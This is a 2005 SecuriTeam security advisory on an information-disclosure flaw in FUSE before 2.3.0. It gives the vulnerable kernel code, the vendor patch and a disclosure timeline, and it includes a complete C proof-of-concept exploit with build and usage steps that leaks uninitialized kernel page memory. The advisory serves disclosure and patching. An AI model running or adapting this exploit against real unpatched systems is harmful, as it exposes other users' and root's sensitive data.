The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
FUSE Information Disclosure
------------------------------------------------------------------------
SUMMARY
" <http://fuse.sourceforge.net/> FUSE makes it possible to implement a
filesystem in a userspace program. Features include: simple yet
comprehensive API, secure mounting by non-root users, support for 2.4 and
2.6 Linux kernels, multi-threaded operation. etc..."
Lack of range validation in FUSE allows attackers to reveal information
from the file system regardless of the user permissions.
DETAILS
Vulnerable Systems:
* FUSE version 2.2.9 and prior
* Linux kernel 2.2
* Linux kernel 2.2.1
* Linux kernel 2.3-pre all sub versions
* Linux kernel 2.3-rc1
* Linux kernel 2.4 family
* Linux kernel 2.6 family
Immune Systems:
* FUSE version 2.3.0
Vulnerable Code:
In kernel/dev.c the function fuse_copy_pages receives the parameter
nbytes. If the parameter nbytes is equal to zero, attackers can obtain
sensitive information from other pages then the current one, including
root and other users.
kernel/dev.c:
static int fuse_copy_pages(struct fuse_copy_state *cs, unsigned nbytes,
int zeroing)
{
unsigned i;
struct fuse_req *req = cs->req;
unsigned offset = req->page_offset;
unsigned count = min(nbytes, (unsigned) PAGE_SIZE - offset);
for (i = 0; i < req->num_pages && nbytes; i++) { // <--- nbytes
can be 0
struct page *page = req->pages[i];
int err = fuse_copy_page(cs, page, offset, count,
zeroing);
if (err)
return err;
nbytes -= count;
count = min(nbytes, (unsigned) PAGE_SIZE);
offset = 0;
}
return 0;
}
static inline int fuse_copy_page(struct fuse_copy_state *cs, struct page
*page,
unsigned offset, unsigned count, int
zeroing)
{
if (page && zeroing && count < PAGE_SIZE) {
void *mapaddr = kmap_atomic(page, KM_USER1);
memset(mapaddr, 0, PAGE_SIZE);
kunmap_atomic(mapaddr, KM_USER1);
}
....
}
kernel/file.c:
static int fuse_readpage(struct file *file, struct page *page)
{
....
req->num_pages = 1;
req->pages[0] = page;
req->out.page_zeroing = 1;
....
}
Workaround:
Install the patch or update to fuse-2.3.0.
Patch:
Index: linux/fs/fuse/dev.c
-==================================================================
--- linux.orig/fs/fuse/dev.c 2005-06-01 12:22:08.000000000 +0200
+++ linux/fs/fuse/dev.c 2005-06-02 11:10:08.000000000 +0200
@@ -525,7 +525,7 @@ static int fuse_copy_pages(struct fuse_c
unsigned offset = req->page_offset;
unsigned count = min(nbytes, (unsigned) PAGE_SIZE - offset);
- for (i = 0; i < req->num_pages && nbytes; i++) {
+ for (i = 0; i < req->num_pages && (nbytes || zeroing); i++) {
struct page *page = req->pages[i];
int err = fuse_copy_page(cs, page, offset, count,
zeroing);
if (err)
Exploit:
/*
memfs.c: Proof of concept exploit for FUSE < 2.3.0
memfs.c is based on fuse/example/hello.c from Miklos Szeredi
Details: http://www.sven-tantau.de/public_files/fuse/fuse_20050603.txt
Build: Copy memfs.c over hello.c and run make in the fuse base
directory
Usage: Create a mountpoint ; ./hello /mnt/getmem/ ; cat
/mnt/getmem/memfs ;
If you see random bytes you are vulnerable.
Sven Tantau - http://www.sven-tantau.de/ - 01.06.2005
FUSE: Filesystem in Userspace
Copyright (C) 2001-2005 Miklos Szeredi <miklos@szeredi.hu>
This program can be distributed under the terms of the GNU GPL.
*/
#include <fuse.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
static const char *memfs_str = "";
static const char *memfs_path = "/memfs";
static int memfs_getattr(const char *path, struct stat *stbuf)
{
int res = 0;
memset(stbuf, 0, sizeof(struct stat));
if(strcmp(path, "/") == 0) {
stbuf->st_mode = S_IFDIR | 0755;
stbuf->st_nlink = 2;
}
else if(strcmp(path, memfs_path) == 0) {
stbuf->st_mode = S_IFREG | 0444;
stbuf->st_nlink = 1;
stbuf->st_size = 4223;
}
else
res = -ENOENT;
return res;
}
static int memfs_getdir(const char *path, fuse_dirh_t h, fuse_dirfil_t
filler)
{
if(strcmp(path, "/") != 0)
return -ENOENT;
filler(h, ".", 0, 0);
filler(h, "..", 0, 0);
filler(h, memfs_path + 1, 0, 0);
return 0;
}
static int memfs_open(const char *path, struct fuse_file_info *fi)
{
if(strcmp(path, memfs_path) != 0)
return -ENOENT;
if((fi->flags & 3) != O_RDONLY)
return -EACCES;
return 0;
}
static int memfs_read(const char *path, char *buf, size_t size, off_t
offset,
struct fuse_file_info *fi)
{
size_t len;
(void) fi;
if(strcmp(path, memfs_path) != 0)
return -ENOENT;
len = strlen(memfs_str);
if (offset < len) {
if (offset + size > len)
size = len - offset;
memcpy(buf, memfs_str + offset, size);
} else
size = 0;
return size;
}
static struct fuse_operations memfs_oper = {
.getattr = memfs_getattr,
.getdir = memfs_getdir,
.open = memfs_open,
.read = memfs_read,
};
int main(int argc, char *argv[])
{
return fuse_main(argc, argv, &memfs_oper);
}
/* EOF */
Disclosure Timeline:
2005-06-01 issue found by Sven Tantau
2005-06-02 vendor contacted
2005-06-02 quick vendor reaction with confirmation, patch and public
disclosure
2005-06-06 release of this advisory + exploit
ADDITIONAL INFORMATION
The information has been provided by <mailto:sven@sven-tantau.de> Sven
Tantau .
The original article can be found at:
<http://www.sven-tantau.de/public_files/fuse/fuse_20050603.txt>
http://www.sven-tantau.de/public_files/fuse/fuse_20050603.txt
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
No comments:
Post a Comment